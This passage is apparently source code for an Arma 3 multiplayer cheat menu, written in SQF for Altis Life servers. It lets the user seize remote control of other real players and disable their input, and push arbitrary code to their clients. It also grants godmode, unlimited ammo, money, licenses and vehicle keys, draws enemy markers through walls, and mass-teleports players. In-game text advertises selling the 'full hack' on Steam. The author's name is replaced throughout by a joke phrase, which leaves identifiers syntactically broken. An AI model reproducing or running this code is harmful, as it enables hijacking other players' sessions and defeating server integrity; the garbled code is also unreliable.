  693. };
  694. TargetMenubyAaron is sexy updated = {
  695. removeallactions player;
  696. player addAction["<t color='#FF0000'>Close Menu</t>", {
  697. removeallactions player;
  698. call init_main;
  699. }, "", 50];
  700. player addAction["<t color='#000000'>----------------------</t>", {
  701. hint "Menu by Aaron is sexy updated";
  702. }, "", 50];
  703. player addAction["Create Sniper Dummy at Cursor", {
  704. deleteVehicle Dummy;
  705. _wPos = screenToWorld[0.5, 0.5];
  706. _side = side player;
  707. Aaron is sexy updated_Dummy = [_wPos, _dir, 'I_Spotter_F', _side] call bis_fnc_spawnvehicle;
  708. Dummy = Aaron is sexy updated_Dummy select 0;
  709. removeAllWeapons Dummy;
  710. removeBackpack Dummy;
  711. removeHeadgear Dummy;
  712. removeVest Dummy;
  713. removeHeadgear Dummy;
  714. Dummy addHeadgear 'H_Shemag_olive';
  715. Dummy addVest 'V_TacVest_oli';
  716. Dummy addWeapon 'NVGoggles';
  717. Dummy addWeapon 'Binocular';
  718. Dummy addWeapon 'G_Shades_Black';
  719. Dummy addWeapon 'ItemGPS';
  720. Dummy addBackpack 'B_Carryall_oli';
  721. Dummy addMagazines['5Rnd_127x108_APDS_Mag', 5];
  722. Dummy addWeapon 'srifle_GM6_LRPS_F';
  723. hint format["%1 \n Spawned \n Take Control in 3 seconds", Dummy];
  724. sleep 3; {
  725. _x = player;
  726. first = _x;
  727. _x = vehicle Dummy;
  728. second = _x;
  729. secondowner = owner _x;
  730. }
  731. foreach playableunits;
  732. first remotecontrol second;
  733. vehicle second switchcamera "EXTERNAL";
  734. hint "Press F3 to switch back \n by Aaron is sexy updated";
  735. call Dummy_Menu;
  736. }, "", 50];
  737. player addAction["Create Mk20 Dummy at Cursor", {
  738. deleteVehicle Dummy;
  739. _wPos = screenToWorld[0.5, 0.5];
  740. _side = side player;
  741. Aaron is sexy updated_Dummy = [_wPos, _dir, 'I_Soldier_M_F', _side] call bis_fnc_spawnvehicle;
  742. Dummy = Aaron is sexy updated_Dummy select 0;
  743. removeAllWeapons Dummy;
  744. removeBackpack Dummy;
  745. removeHeadgear Dummy;
  746. removeVest Dummy;
  747. removeHeadgear Dummy;
  748. Dummy addHeadgear 'H_Shemag_olive';
  749. Dummy addVest 'V_TacVest_oli';
  750. Dummy addWeapon 'NVGoggles';
  751. Dummy addWeapon 'Binocular';
  752. Dummy addWeapon 'G_Shades_Black';
  753. Dummy addWeapon 'ItemGPS';
  754. Dummy addBackpack 'B_Carryall_oli';
  755. Dummy addMagazines['30Rnd_556x45_Stanag_Tracer_Green', 5];
  756. Dummy addWeapon 'arifle_Mk20_F';
  757. Dummy addPrimaryWeaponItem 'muzzle_snds_H';
  758. Dummy addPrimaryWeaponItem 'optic_Hamr';
  759. hint format["%1 \n Spawned \n Take Control in 3 seconds", Dummy];
  760. sleep 3; {
  761. _x = player;
  762. first = _x;
  763. _x = vehicle Dummy;
  764. second = _x;
  765. secondowner = owner _x;
  766. }
  767. foreach playableunits;
  768. first remotecontrol second;
  769. vehicle second switchcamera "EXTERNAL";
  770. hint "Press F3 to switch back \n by Aaron is sexy updated";
  771. call Dummy_Menu;
  772. }, "", 50];
  773. player addAction["Create Civ Dummy at Cursor", {
  774. deleteVehicle Dummy;
  775. _wPos = screenToWorld[0.5, 0.5];
  776. _side = side player;
  777. Aaron is sexy updated_Dummy = [_wPos, _dir, 'I_G_Soldier_AR_F', _side] call bis_fnc_spawnvehicle;
  778. Dummy = Aaron is sexy updated_Dummy select 0;
  779. removeAllWeapons Dummy;
  780. removeBackpack Dummy;
  781. removeHeadgear Dummy;
  782. removeVest Dummy;
  783. removeHeadgear Dummy;
  784. Dummy addHeadgear 'H_Shemag_olive';
  785. Dummy addVest 'V_TacVest_oli';
  786. Dummy addWeapon 'NVGoggles';
  787. Dummy addWeapon 'Binocular';
  788. Dummy addWeapon 'G_Shades_Black';
  789. Dummy addWeapon 'ItemGPS';
  790. Dummy addMagazines['5Rnd_127x108_APDS_Mag', 5];
  791. Dummy addWeapon 'srifle_GM6_LRPS_F';
  792. Dummy addMagazines['30Rnd_9x21_Mag', 5];
  793. Dummy addWeapon 'hgun_P07_snds_F';
  794. hint format["%1 \n Spawned \n Take Control in 3 seconds", Dummy];
  795. sleep 3; {
  796. _x = player;
  797. first = _x;
  798. _x = vehicle Dummy;
  799. second = _x;
  800. secondowner = owner _x;
  801. }
  802. foreach playableunits;
  803. first remotecontrol second;
  804. vehicle second switchcamera "EXTERNAL";
  805. hint "Press F3 to switch back \n by Aaron is sexy updated";
  806. call Dummy_Menu;
  807. }, "", 50];
  808. player addAction["<t color='#000000'>----------------------</t>", {
  809. hint "Menu by Aaron is sexy updated";
  810. }, "", 50];
  811. player addAction["Give Player HackMenu", {
  812. removeallactions player;
  813. player addAction["<t color='#FF0000'>Close Menu</t>", {
  814. removeallactions player;
  815. call init_main;
  816. }, "", 50];
  817. player addAction["<t color='#000000'>----------------------</t>", {
  818. hint "Menu by Aaron is sexy updated";
  819. }, "", 50];
  820. _AllUnits = playableUnits;
  821. _CountAllUnits = count _AllUnits;
  822. _Selected = 0;
  823. for "_Selected"
  824. from 0 to _CountAllUnits do {
  825. _TargetUnit = _AllUnits select _Selected;
  826. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  827. };
  828. Aaron is sexy updated_PlayerList = {
  829. {
  830. if ((isPlayer _x) && (alive _x)) then {
  831. player addAction[format["%1 - %2", _x, name _x], {
  832. _player = (_this select 3);
  833. [_player, "removeallactions player;E5P = 0;Aaron is sexy updated_God = 0;Aaron is sexy updated_Unlim_Ammo = 0;['TaskSucceeded', ['', 'Test Hack Granted - by Aaron is sexy updated']] call BIS_fnc_showNotification;player addAction ['<t color=''#FF0000''> - - Test Hack by Aaron is sexy updated - - </t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n'; },'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n'; },'',50];player addAction ['Civ Outfit', { removeUniform player; removeAllWeapons player; removeBackpack player; removeHeadgear player; removeVest player; removeHeadgear player; player addUniform 'U_IG_Guerilla2_3'; player addHeadgear 'H_Bandanna_khk'; player addVest 'V_TacVest_oli'; player addWeapon 'NVGoggles'; player addWeapon 'Binocular'; player addWeapon 'G_Shades_Black'; player addBackpack 'B_Carryall_oli'; player addWeapon 'ItemGPS'; },'',50];player addAction ['License', {life_licenses =[['license_civ_driver','civ'],['license_civ_truck','civ'],['license_civ_air','civ'],['license_civ_gun','civ'],['license_civ_rebel','civ'],['license_civ_diamond','civ'],['license_civ_heroin','civ'],['license_civ_marijuana','civ']];{missionNamespace setVariable[(_x select 0),true];} foreach life_licenses;},'',50];player addAction ['Spawn Katiba', { player addMagazines ['30Rnd_65x39_caseless_green',5]; player addWeapon 'arifle_Katiba_ARCO_pointer_snds_F'; },'',50];player addAction ['Spawn Offroad', {'C_Offroad_01_F' createVehicle position player;},'',50];player addAction ['TP me to Kavalla Top', { player setPos [3690,13150,14.6]; hint format ['Ported - by Aaron is sexy updated']; },'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n';},'',50];player addAction ['Lock / Unlock Target',{_vehicle = vehicle player;if(_vehicle == player) then{_veh = cursorTarget;_locked = locked _veh;if(_locked == 2) then{_veh setVehicleLock 'UNLOCKED';hint 'You have unlocked a vehicle';}else{_veh setVehicleLock 'LOCKED';hint 'You have locked a vehicle';};};if(_vehicle != player) then{_veh = vehicle player;_locked = locked _veh;if(_locked == 2) then{_veh setVehicleLock 'UNLOCKED';hint 'You have unlocked a vehicle';}else{_veh setVehicleLock 'LOCKED';hint 'You have locked a vehicle';};};},'',50];player addAction ['Get Key Target', {hint 'You got the Keys \n by Aaron is sexy updated';life_vehicles set[count life_vehicles,cursorTarget];life_vehicles set[count life_vehicles,vehicle player];},'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n';},'',50];player addAction ['Money 100k',{life_Cash = Life_Cash + 100000; },'',50];player addAction ['GodMode', {if ( Aaron is sexy updated_God == 0 ) then { Aaron is sexy updated_God = 1;hint 'Godmode \n by Aaron is sexy updated \n ON';player removeAllEventHandlers'handleDamage';player addEventHandler ['handleDamage',{false}];player allowDamage false;vehicle player removeAllEventHandlers'handleDamage';vehicle player addEventHandler ['handleDamage',{false}];vehicle player allowDamage false;} else { Aaron is sexy updated_God = 0;hint 'Godmode \n by Aaron is sexy updated \n OFF';player addEventHandler ['handleDamage',{true}];player removeAllEventHandlers 'handleDamage';player allowDamage true;vehicle player addEventHandler ['handleDamage',{true}];vehicle player removeAllEventHandlers 'handleDamage';vehicle player allowDamage true;};},'',50];player addAction ['Unlimited Ammo', {if ( Aaron is sexy updated_Unlim_Ammo == 0 ) then {Aaron is sexy updated_Unlim_Ammo = 1;hint 'Unlimit Ammo \n by Aaron is sexy updated \n ON'; } else {Aaron is sexy updated_Unlim_Ammo = 0;hint 'Unlimit Ammo \n by Aaron is sexy updated \n OFF';};while { Aaron is sexy updated_Unlim_Ammo == 1 } do {_l25 = primaryWeapon player;_l31 = secondaryWeapon player;player setAmmo[_l25, 999];player setAmmo[_l31, 999];(vehicle player) setVehicleAmmo 1;(vehicle player) setVehicleAmmo 1;sleep 0.01;};},'',50];player addAction ['E5P Markers', {if (E5P == 0) then {E5P = 1;hint 'E5P ON';} else {E5P = 0;hint 'E5P OFF';};if (E5P == 1) then {onEachFrame {_l49 = nearestobjects[player, ['CAManBase'], 1400]; {if ((side _x != side player) && (getPlayerUID _x != '') && ((player distance _x) < 1400)) then {drawIcon3D['', [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format['No Names in TestVersion', round(player distance _x), name _x]), 1, 0.04, 'TahomaB']} else {if ((getPlayerUID _x != '') && ((player distance _x) < 1000)) then {drawIcon3D['', [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format['No Names in TestVersion', round(player distance _x), name _x]), 1, 0.04, 'TahomaB']};};}foreach playableUnits;};} else {onEachFrame {nil};};},'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n';},'',50];"] call Aaron is sexy updated;
  834. hint format["%1 got the 'Test Hack Menu' \n by Aaron is sexy updated", name _player];
  835. }, _x]
  836. };
  837. }
  838. forEach(playableUnits);
  839. };
  840. [] call Aaron is sexy updated_PlayerList;
  841. }, "", 50];
  842. player addAction["Give all Players HackMenu", {
  843. [TRUE, "removeallactions player;E5P = 0;Aaron is sexy updated_God = 0;Aaron is sexy updated_Unlim_Ammo = 0;['TaskSucceeded', ['', 'Test Hack Granted - by Aaron is sexy updated']] call BIS_fnc_showNotification;player addAction ['<t color=''#FF0000''> - - Test Hack by Aaron is sexy updated - - </t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n'; },'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n'; },'',50];player addAction ['Civ Outfit', { removeUniform player; removeAllWeapons player; removeBackpack player; removeHeadgear player; removeVest player; removeHeadgear player; player addUniform 'U_IG_Guerilla2_3'; player addHeadgear 'H_Bandanna_khk'; player addVest 'V_TacVest_oli'; player addWeapon 'NVGoggles'; player addWeapon 'Binocular'; player addWeapon 'G_Shades_Black'; player addBackpack 'B_Carryall_oli'; player addWeapon 'ItemGPS'; },'',50];player addAction ['License', {life_licenses =[['license_civ_driver','civ'],['license_civ_truck','civ'],['license_civ_air','civ'],['license_civ_gun','civ'],['license_civ_rebel','civ'],['license_civ_diamond','civ'],['license_civ_heroin','civ'],['license_civ_marijuana','civ']];{missionNamespace setVariable[(_x select 0),true];} foreach life_licenses;},'',50];player addAction ['Spawn Katiba', { player addMagazines ['30Rnd_65x39_caseless_green',5]; player addWeapon 'arifle_Katiba_ARCO_pointer_snds_F'; },'',50];player addAction ['Spawn Offroad', {'C_Offroad_01_F' createVehicle position player;},'',50];player addAction ['TP me to Kavalla Top', { player setPos [3690,13150,14.6]; hint format ['Ported - by Aaron is sexy updated']; },'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n';},'',50];player addAction ['Lock / Unlock Target',{_vehicle = vehicle player;if(_vehicle == player) then{_veh = cursorTarget;_locked = locked _veh;if(_locked == 2) then{_veh setVehicleLock 'UNLOCKED';hint 'You have unlocked a vehicle';}else{_veh setVehicleLock 'LOCKED';hint 'You have locked a vehicle';};};if(_vehicle != player) then{_veh = vehicle player;_locked = locked _veh;if(_locked == 2) then{_veh setVehicleLock 'UNLOCKED';hint 'You have unlocked a vehicle';}else{_veh setVehicleLock 'LOCKED';hint 'You have locked a vehicle';};};},'',50];player addAction ['Get Key Target', {hint 'You got the Keys \n by Aaron is sexy updated';life_vehicles set[count life_vehicles,cursorTarget];life_vehicles set[count life_vehicles,vehicle player];},'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n';},'',50];player addAction ['Money 100k',{life_Cash = Life_Cash + 100000; },'',50];player addAction ['GodMode', {if ( Aaron is sexy updated_God == 0 ) then { Aaron is sexy updated_God = 1;hint 'Godmode \n by Aaron is sexy updated \n ON';player removeAllEventHandlers'handleDamage';player addEventHandler ['handleDamage',{false}];player allowDamage false;vehicle player removeAllEventHandlers'handleDamage';vehicle player addEventHandler ['handleDamage',{false}];vehicle player allowDamage false;} else { Aaron is sexy updated_God = 0;hint 'Godmode \n by Aaron is sexy updated \n OFF';player addEventHandler ['handleDamage',{true}];player removeAllEventHandlers 'handleDamage';player allowDamage true;vehicle player addEventHandler ['handleDamage',{true}];vehicle player removeAllEventHandlers 'handleDamage';vehicle player allowDamage true;};},'',50];player addAction ['Unlimited Ammo', {if ( Aaron is sexy updated_Unlim_Ammo == 0 ) then {Aaron is sexy updated_Unlim_Ammo = 1;hint 'Unlimit Ammo \n by Aaron is sexy updated \n ON'; } else {Aaron is sexy updated_Unlim_Ammo = 0;hint 'Unlimit Ammo \n by Aaron is sexy updated \n OFF';};while { Aaron is sexy updated_Unlim_Ammo == 1 } do {_l25 = primaryWeapon player;_l31 = secondaryWeapon player;player setAmmo[_l25, 999];player setAmmo[_l31, 999];(vehicle player) setVehicleAmmo 1;(vehicle player) setVehicleAmmo 1;sleep 0.01;};},'',50];player addAction ['E5P Markers', {if (E5P == 0) then {E5P = 1;hint 'E5P ON';} else {E5P = 0;hint 'E5P OFF';};if (E5P == 1) then {onEachFrame {_l49 = nearestobjects[player, ['CAManBase'], 1400]; {if ((side _x != side player) && (getPlayerUID _x != '') && ((player distance _x) < 1400)) then {drawIcon3D['', [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format['No Names in TestVersion', round(player distance _x), name _x]), 1, 0.04, 'TahomaB']} else {if ((getPlayerUID _x != '') && ((player distance _x) < 1000)) then {drawIcon3D['', [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format['No Names in TestVersion', round(player distance _x), name _x]), 1, 0.04, 'TahomaB']};};}foreach playableUnits;};} else {onEachFrame {nil};};},'',50];player addAction ['<t color=''#000000''>-------------------------------------------------</t>', { hint '\n Test Hack by Aaron is sexy updated \n\n -----------------------------------------------\n if you want to buy the full hack\n -----------------------------------------------\n add me on Steam: \n Aaron is sexy updated_Arma \n';},'',50];"] call Aaron is sexy updated;
  844. hint "All players got the 'Test Hack Menu' \n by Aaron is sexy updated";
  845. }, "", 50];
  846. player addAction["<t color='#000000'>----------------------</t>", {
  847. hint "Menu by Aaron is sexy updated";
  848. }, "", 50];
  849. player addAction["Spectate Player", {
  850. removeallactions player;
  851. player addAction["<t color='#FF0000'>Close Menu</t>", {
  852. removeallactions player;
  853. call init_main;
  854. }, "", 50];
  855. player addAction["<t color='#000000'>----------------------</t>", {
  856. hint "Menu by Aaron is sexy updated";
  857. }, "", 50];
  858. _AllUnits = playableUnits;
  859. _CountAllUnits = count _AllUnits;
  860. _Selected = 0;
  861. for "_Selected"
  862. from 0 to _CountAllUnits do {
  863. _TargetUnit = _AllUnits select _Selected;
  864. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  865. };
  866. Aaron is sexy updated_PlayerList = {
  867. {
  868. if ((isPlayer _x) && (alive _x)) then {
  869. player addAction[format["%1 - %2", _x, name _x], {
  870. _player = (_this select 3); {
  871. _x = player;
  872. first = _x;
  873. _x = _player;
  874. second = _x;
  875. secondowner = owner _x;
  876. }
  877. foreach playableunits;
  878. (vehicle second) switchcamera "EXTERNAL";
  879. hint "Press F3 to switch back \n by Aaron is sexy updated";
  880. }, _x]
  881. };
  882. }
  883. forEach(playableUnits);
  884. };
  885. [] call Aaron is sexy updated_PlayerList;
  886. }, "", 50];
  887. player addAction["Control Player", {
  888. removeallactions player;
  889. player addAction["<t color='#FF0000'>Close Menu</t>", {
  890. removeallactions player;
  891. call init_main;
  892. }, "", 50];
  893. player addAction["<t color='#000000'>----------------------</t>", {
  894. hint "Menu by Aaron is sexy updated";
  895. }, "", 49];
  896. _AllUnits = playableUnits;
  897. _CountAllUnits = count _AllUnits;
  898. _Selected = 0;
  899. for "_Selected"
  900. from 0 to _CountAllUnits do {
  901. _TargetUnit = _AllUnits select _Selected;
  902. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  903. };
  904. Aaron is sexy updated_PlayerList = {
  905. {
  906. if ((isPlayer _x) && (alive _x)) then {
  907. player addAction[format["%1 - %2", _x, name _x], {
  908. _player = (_this select 3);
  909. [_player, "disableUserInput true;"] call Aaron is sexy updated; {
  910. _x = player;
  911. first = _x;
  912. _x = _player;
  913. second = _x;
  914. secondowner = owner _x;
  915. }
  916. foreach playableunits;
  917. first remotecontrol second;
  918. vehicle second switchcamera "EXTERNAL";
  919. hint "Press F3 to switch back \n by Aaron is sexy updated";
  920. }, _x]
  921. };
  922. }
  923. forEach(playableUnits);
  924. };
  925. [] call Aaron is sexy updated_PlayerList;
  926. }, "", 50];
  927. player addAction["Special Control Player</t>", {
  928. removeallactions player;
  929. player addAction["<t color='#FF0000'>Close Menu</t>", {
  930. removeallactions player;
  931. call init_main;
  932. }, "", 50];
  933. player addAction["<t color='#000000'>----------------------</t>", {
  934. hint "Menu by Aaron is sexy updated";
  935. }, "", 49];
  936. _AllUnits = playableUnits;
  937. _CountAllUnits = count _AllUnits;
  938. _Selected = 0;
  939. for "_Selected"
  940. from 0 to _CountAllUnits do {
  941. _TargetUnit = _AllUnits select _Selected;
  942. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  943. };
  944. Aaron is sexy updated_PlayerList = {
  945. {
  946. if ((isPlayer _x) && (alive _x)) then {
  947. player addAction[format["%1 - %2", _x, name _x], {
  948. c_player = (_this select 3);
  949. [c_player, "disableUserInput true;player allowDamage false;removeVest player; player addVest 'V_TacVest_oli'; player addMagazines ['30Rnd_556x45_Stanag_Tracer_Green',1]; player addWeapon 'arifle_Mk20_F'; player addPrimaryWeaponItem 'muzzle_snds_H';player addPrimaryWeaponItem 'optic_Hamr';"] call Aaron is sexy updated; {
  950. _x = player;
  951. first = _x;
  952. _x = c_player;
  953. second = _x;
  954. secondowner = owner _x;
  955. }
  956. foreach playableunits;
  957. first remotecontrol second;
  958. vehicle second switchcamera "EXTERNAL";
  959. hint "Press F3 to switch back";
  960. while {
  961. alive c_player
  962. }
  963. do {
  964. c_player setFatigue 0;
  965. _l25 = primaryWeapon c_player;
  966. _l31 = secondaryWeapon c_player;
  967. c_player setAmmo[_l25, 999];
  968. c_player setAmmo[_l31, 999];
  969. (vehicle c_player) setVehicleAmmo 1;
  970. (vehicle c_player) setVehicleAmmo 1;
  971. sleep 0.01;
  972. };
  973. }, _x]
  974. };
  975. }
  976. forEach(playableUnits);
  977. };
  978. [] call Aaron is sexy updated_PlayerList;
  979. }, "", 50];
  980. player addAction["<t color='#000000'>----------------------</t>", {
  981. hint "Menu by Aaron is sexy updated";
  982. }, "", 50];
  983. player addAction["Give Player Money", {
  984. removeallactions player;
  985. player addAction["<t color='#FF0000'>Close Menu</t>", {
  986. removeallactions player;
  987. call init_main;
  988. }, "", 50];
  989. player addAction["<t color='#000000'>----------------------</t>", {
  990. hint "Menu by Aaron is sexy updated";
  991. }, "", 50];
  992. _AllUnits = playableUnits;
  993. _CountAllUnits = count _AllUnits;
  994. _Selected = 0;
  995. for "_Selected"
  996. from 0 to _CountAllUnits do {
  997. _TargetUnit = _AllUnits select _Selected;
  998. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  999. };
  1000. Aaron is sexy updated_PlayerList = {
  1001. {
  1002. if ((isPlayer _x) && (alive _x)) then {
  1003. player addAction[format["%1 - %2", _x, name _x], {
  1004. _player = (_this select 3);
  1005. [_player, "life_atmCash = life_atmCash + 1000000;"] call Aaron is sexy updated;
  1006. hint format["%1 got 1000k Money \n by Aaron is sexy updated", name _player];
  1007. }, _x]
  1008. };
  1009. }
  1010. forEach(playableUnits);
  1011. };
  1012. [] call Aaron is sexy updated_PlayerList;
  1013. }, "", 50];
  1014. player addAction["Give Player Equipment", {
  1015. removeallactions player;
  1016. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1017. removeallactions player;
  1018. call init_main;
  1019. }, "", 5];
  1020. player addAction["<t color='#000000'>----------------------</t>", {
  1021. hint "Menu by Aaron is sexy updated";
  1022. }, "", 50];
  1023. _AllUnits = playableUnits;
  1024. _CountAllUnits = count _AllUnits;
  1025. _Selected = 0;
  1026. for "_Selected"
  1027. from 0 to _CountAllUnits do {
  1028. _TargetUnit = _AllUnits select _Selected;
  1029. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  1030. };
  1031. Aaron is sexy updated_PlayerList = {
  1032. {
  1033. if ((isPlayer _x) && (alive _x)) then {
  1034. player addAction[format["%1 - %2", _x, name _x], {
  1035. _player = (_this select 3);
  1036. [_player, "removeUniform player; removeAllWeapons player; removeBackpack player; removeHeadgear player; removeVest player;removeHeadgear player; player addBackpack 'B_Carryall_oli'; player addWeapon 'ItemWatch'; player addWeapon 'ItemCompass'; player addWeapon 'ItemGPS'; player addWeapon 'ItemRadio'; player addWeapon 'ItemMap'; player addUniform 'U_I_G_resistanceLeader_F'; player addHeadgear 'H_MilCap_oucamo'; player addVest 'V_TacVest_oli'; player addWeapon 'NVGoggles'; player addWeapon 'G_Shades_Black'; player addWeapon 'ItemGPS'; (unitBackpack player) addItemCargo ['30Rnd_65x39_caseless_mag_Tracer',6]; (unitBackpack player) addItemCargo ['3Rnd_HE_Grenade_shell',3];(unitBackpack player) addItemCargo ['3Rnd_Smoke_Grenade_shell',3]; (unitBackpack player) addItemCargo ['3Rnd_UGL_FlareWhite_F',3];(unitBackpack player) addItemCargo ['3Rnd_UGL_FlareGreen_F',3]; (unitBackpack player) addItemCargo ['3Rnd_UGL_FlareRed_F',3]; (unitBackpack player) addItemCargo ['3Rnd_UGL_FlareYellow_F',3]; (unitBackpack player) addItemCargo ['3Rnd_UGL_FlareCIR_F',3];player addWeapon 'arifle_MX_GL_Hamr_pointer_F'; player addPrimaryWeaponItem 'muzzle_snds_H'; player addPrimaryWeaponItem 'optic_Hamr';"] call Aaron is sexy updated;
  1037. hint format["%1 got Equipment \n by Aaron is sexy updated", name _player];
  1038. }, _x]
  1039. };
  1040. }
  1041. forEach(playableUnits);
  1042. };
  1043. [] call Aaron is sexy updated_PlayerList;
  1044. }, "", 50];
  1045. player addAction["Give Player Godmode ON", {
  1046. removeallactions player;
  1047. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1048. removeallactions player;
  1049. call init_main;
  1050. }, "", 5];
  1051. player addAction["<t color='#000000'>----------------------</t>", {
  1052. hint "Menu by Aaron is sexy updated";
  1053. }, "", 50];
  1054. _AllUnits = playableUnits;
  1055. _CountAllUnits = count _AllUnits;
  1056. _Selected = 0;
  1057. for "_Selected"
  1058. from 0 to _CountAllUnits do {
  1059. _TargetUnit = _AllUnits select _Selected;
  1060. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  1061. };
  1062. Aaron is sexy updated_PlayerList = {
  1063. {
  1064. if ((isPlayer _x) && (alive _x)) then {
  1065. player addAction[format["%1 - %2", _x, name _x], {
  1066. _player = (_this select 3);
  1067. hint format["%1 \n Godmode ON \n by Aaron is sexy updated", name _player];
  1068. fnc_usec_damageHandler = {};
  1069. fnc_usec_unconscious = {};
  1070. _player removeAllEventHandlers "handleDamage";
  1071. _player addEventHandler["handleDamage", {
  1072. false
  1073. }];
  1074. _player allowDamage false;
  1075. vehicle _player removeAllEventHandlers "handleDamage";
  1076. vehicle _player addEventHandler["handleDamage", {
  1077. false
  1078. }];
  1079. vehicle _player allowDamage false;
  1080. }, _x]
  1081. };
  1082. }
  1083. forEach(playableUnits);
  1084. };
  1085. [] call Aaron is sexy updated_PlayerList;
  1086. }, "", 50];
  1087. player addAction["Give Player Godmode OFF", {
  1088. removeallactions player;
  1089. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1090. removeallactions player;
  1091. call init_main;
  1092. }, "", 5];
  1093. player addAction["<t color='#000000'>----------------------</t>", {
  1094. hint "Menu by Aaron is sexy updated";
  1095. }, "", 50];
  1096. _AllUnits = playableUnits;
  1097. _CountAllUnits = count _AllUnits;
  1098. _Selected = 0;
  1099. for "_Selected"
  1100. from 0 to _CountAllUnits do {
  1101. _TargetUnit = _AllUnits select _Selected;
  1102. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  1103. };
  1104. Aaron is sexy updated_PlayerList = {
  1105. {
  1106. if ((isPlayer _x) && (alive _x)) then {
  1107. player addAction[format["%1 - %2", _x, name _x], {
  1108. _player = (_this select 3);
  1109. hint format["%1 \n Godmode OFF \n by Aaron is sexy updated", name _player];
  1110. _player addEventHandler["handleDamage", {
  1111. true
  1112. }];
  1113. _player removeAllEventHandlers "handleDamage";
  1114. _player allowDamage true;
  1115. }, _x]
  1116. };
  1117. }
  1118. forEach(playableUnits);
  1119. };
  1120. [] call Aaron is sexy updated_PlayerList;
  1121. }, "", 50];
  1122. player addAction["<t color='#000000'>----------------------</t>", {
  1123. hint "Menu by Aaron is sexy updated";
  1124. }, "", 50];
  1125. player addAction["TP me to kavalla Top", {
  1126. player setPos[3690, 13150, 14.6];
  1127. hint format["Ported - by Aaron is sexy updated"];
  1128. }, "", 50];
  1129. player addAction["TP all to my Cursor", {
  1130. _wPos = screenToWorld[0.5, 0.5];
  1131. _donot = name player;
  1132. [TRUE, "deleteVehicle player;"] call Aaron is sexy updated; {
  1133. if (name _x != name player) then {
  1134. vehicle _x setPos(_wPos);
  1135. };
  1136. }
  1137. foreach playableUnits;
  1138. hint format[" All players teleported to: \n %1 \n by Aaron is sexy updated", _wPos];
  1139. }, "", 50];
  1140. player addAction["Teleport Player to Mapclick", {
  1141. removeallactions player;
  1142. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1143. removeallactions player;
  1144. call init_main;
  1145. }, "", 50];
  1146. player addAction["<t color='#000000'>----------------------</t>", {
  1147. hint "Menu by Aaron is sexy updated";
